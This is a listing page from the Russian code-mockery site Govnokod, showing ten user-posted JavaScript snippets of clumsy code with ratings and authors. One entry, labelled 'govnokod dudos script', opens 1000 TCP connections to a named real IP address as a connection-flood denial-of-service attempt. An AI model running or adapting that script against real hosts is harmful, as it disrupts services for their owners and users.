1. JavaScript / Говнокод #24290

    −2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if (query) {
            searchParams.area = query.area_from && query.area_from !== 'all' && query.area_from.length !== 0 && query.area_to && query.area_to !== 'all' && query.area_to.length !== 0 ? [query.area_from, query.area_to] : ['0', '100']
            searchParams.price = query.price_from && query.price_from !== 'all' && query.price_from.length !== 0 && query.price_to && query.price_to !== 'all' && query.price_to.length !== 0 ? [query.price_from, query.price_to] : ['0', '10']
            searchParams.floor = query.floor_from && query.floor_from !== 'all' && query.floor_from.length !== 0 && query.floor_to && query.floor_to !== 'all' && query.floor_to.length !== 0 ? [query.floor_from, query.floor_to] : ['0', '100']
            searchParams.last_first = query.last_first && query.last_first !== 'all' && query.last_first.length !== 0 ? query.last_first : null
            searchParams.promo = query.promo && query.promo !== 'all' && query.promo.length !== 0 ? query.promo : null
            searchParams.assignment = query.assignment && query.assignment !== 'all' && query.assignment.length !== 0 ? query.assignment : null

    no coments

    YRTRK, 19 Мая 2018

    Комментарии (6)
  2. JavaScript / Говнокод #24223

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    function isPalindrom1(str) {
        if (str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, '') === str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, 
        '').split('').reverse().join('')) {
            return true;
         } else {
            return false;
         }
    }

    "Красиво, просто, изящно."
    h: post/351874/

    gost, 04 Мая 2018

    Комментарии (7)
  3. JavaScript / Говнокод #24214

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    $(document).ready(function() {
    	console.log("Ready");
    
    	var
    		block_1 = document.getElementsByClassName('block_1')[0],
    		block_2 = document.getElementsByClassName('block_2')[0],
    		block_3 = document.getElementsByClassName('block_3')[0],
    		block_4 = document.getElementsByClassName('block_4')[0],
    		open_1 = document.getElementsByClassName('open-1')[0],
    		open_2 = document.getElementsByClassName('open-2')[0],
    		open_3 = document.getElementsByClassName('open-3')[0],
    		open_4 = document.getElementsByClassName('open-4')[0];
    	
    
    	open_1.onclick = function(){
    		block_1.style.display = "block";
    		block_2.style.display = "none";
    		block_3.style.display = "none";
    		block_4.style.display = "none";
    	};
    
    	open_2.onclick = function() {
        	block_2.style.display = "block";
        	block_1.style.display = "none";
        	block_3.style.display = "none";
    		block_4.style.display = "none";
    	};
    
    	open_3.onclick = function() {
        	block_2.style.display = "none";
        	block_1.style.display = "none";
        	block_3.style.display = "block";
    		block_4.style.display = "none";
    	};
    	
    	open_4.onclick = function() {
        	block_2.style.display = "none";
        	block_1.style.display = "none";
        	block_3.style.display = "none";
    		block_4.style.display = "block";
    	};
    });

    DNRAWW, 02 Мая 2018

    Комментарии (8)
  4. JavaScript / Говнокод #24203

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    var net = require("net");
    Array.from({ length: 1000 }, (x, i) => i).map(id => makeClient(id));
    function makeClient(id) {
      var client = net.createConnection({ host: "46.101.246.194", port: 80 }, () =>
        console.log(`[${id}] connected`)
      );
      client.on("end", () => console.log(`[${id}] disconnect`));
      return client;
    }

    govnokod dudos script

    ec80dbca-8f52-4517, 28 Апреля 2018

    Комментарии (13)
  5. JavaScript / Говнокод #24202

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    /**
    * Вхождения слова "питушня" в говнокодах по языкам
    */
    
    {
         "C++": 124,
         "PHP": 56,
         "Куча": 54,
         "C": 41,
         "JavaScript": 39,
         "C#": 25,
         "Python": 11,
         "Java": 10,
         "Pascal": 8,
         "SQL": 7,
         "VisualBasic": 2,
         "Swift": 2,
         "ActionScript": 1,
         "Assembler": 1,
         "Perl": 1,
         "Haskell": 1,
         "Ruby": 1,
         "1C": 0,
         "Lua": 0,
         "Objective C": 0,
         "bash": 0
    }

    mazhuravlev, 28 Апреля 2018

    Комментарии (11)
  6. JavaScript / Говнокод #24200

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    /**
     * Peetushna
     * Node.js 10
     * node index.js > report.csv
     */
    
    const { get } = require("axios");
    const { load } = require("cheerio");
    
    Promise.resolve().then(async () => {
      const responses = reqGen(1, 25000);
      const peetushna = /питушня/g;
      for await (const resp of responses) {
        if (resp.status != 200) break;
        const wordCount = resp.data.match(peetushna);
        const count = wordCount ? wordCount.length : 0;
        const html = load(resp.data);
        const lang = html('a[rel="chapter"]')
          .text()
          .replace("Си", "C");
        console.log(`"${lang}", ${count}`);
      }
    });
    
    async function* reqGen(first, max) {
      while (first <= max) {
        try {
          const resp = await get("http://govnokod.ru/" + first++);
          yield resp;
        } catch (e) {
          //
        }
      }
    }

    mazhuravlev, 27 Апреля 2018

    Комментарии (6)
  7. JavaScript / Говнокод #24198

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    function running(html, clear) {
    	var	id, brk = true;
    	if(clear)
    		html.className = "";
    	if(html.className != "Ready") {
    		if(html.children.length > 0) {
    			if(!clear) {
    				for(id = 1; id < html.childNodes.length; ++ id) {
    					var	active = findActive(html.childNodes[id]);
    					if(active == null) {
    						brk = true;
    						break;
    					}
    					brk = active.className != "Ready" ? false : brk;
    				}
    			}
    			if(!brk && html.childNodes[0].value && html.childNodes[0].max) {
    				if(clear)
    					html.childNodes[0].value = 1;
    				else
    				if(html.childNodes[0].value <= html.childNodes[0].max) {
    					++ html.childNodes[0].value;
    					if(brk) {
    						for(id = 1; id < html.childNodes.length; ++ id)
    							findActive(html.childNodes[id], true);
    						html.parentNode.className = "";
    					}
    					return null;
    				} else {
    					html.parentNode.className = "Ready";
    					html.className = "";
    					return html;
    				}
    			}
    			if(!clear)
    				html.className = html.className != "Active" ? "Active" : "Ready";
    			return null;
    		} else {
    			if(!clear)
    				html.className = html.className != "Active" ? "Active" : "Ready";
    			return html;
    		}
    	}
    	return html;
    }

    Должен бегать по вложенным элементам и анимировать их.

    Alikberov, 27 Апреля 2018

    Комментарии (1)
  8. JavaScript / Говнокод #24120

    0

    1. 1
    2. 2
    var a=new Array();
    a['line']=document.getElementById('water_disconnection_search').value;

    array-oriented programming
    https://www.teplosetspb.ru/water_disconnection

    Fike, 12 Апреля 2018

    Комментарии (3)
  9. JavaScript / Говнокод #24107

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    var data = { //Списочек с русскими названиями
            "Рыбы": {
              "Форель": {},
              "Щука": {}
            },
    
            "Деревья": {
              "Хвойные": {
                "Лиственница": {},
                "Ель": {}
              },
              "Цветковые": {
                "Берёза": {},
                "Тополь": {}
              }
            }
          };
    
          function createTree(container, data) { // Создание списка из объекта
            let mainUL = document.createElement('ul'); //Начало списка
    
            let findLI = function(item, UL) { //рекурсивная функция
              for(let k in item) { //перебор
                let LI = document.createElement('li'); //Новый элемент списка
                LI.textContent = k; //Устанавливаем текст элементу
                UL.appendChild(LI); //Добавляем элемент в список
                if(Object.keys(item[k]).length > 0) { //Есть ли там ещё элементы?
                  let newUl = document.createElement('ul'); //Новый список
                  UL.appendChild(newUl); //Фигачим его в список
                  findLI(item[k], newUl); //Тут мы посылаем ссылку поэтому всё робит
                }
              }
            }
            findLI(data, mainUL); //ищем все элементы
    
            container.appendChild(mainUL); //добавляем в контейнер список (в конец)
          }
    
          var container = document.getElementById('container'); //ищем контейнер
          createTree(container, data); // создаём спсиок

    Комментатор 80-го уровня.
    Жду ваших комментариев ублюдки!

    fuckercoder, 11 Апреля 2018

    Комментарии (7)
  10. JavaScript / Говнокод #24076

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    const uuid = require('uuid');
    const param = process.argv[2];
    const count = Number(param);
    if(typeof count !== 'number' || isNaN(count) || count < 0) {
        console.error(`bad number parameter ${param}`);
        return;
    }
    console.log('namespace LotsofClass {');
    for(let i = 0; i <= count; i++) {
        console.log(`class Class${uuid.v4().replace(/-/g, '')}{}`);
    }
    console.log('}');

    mazhuravlev, 05 Апреля 2018

    Комментарии (2)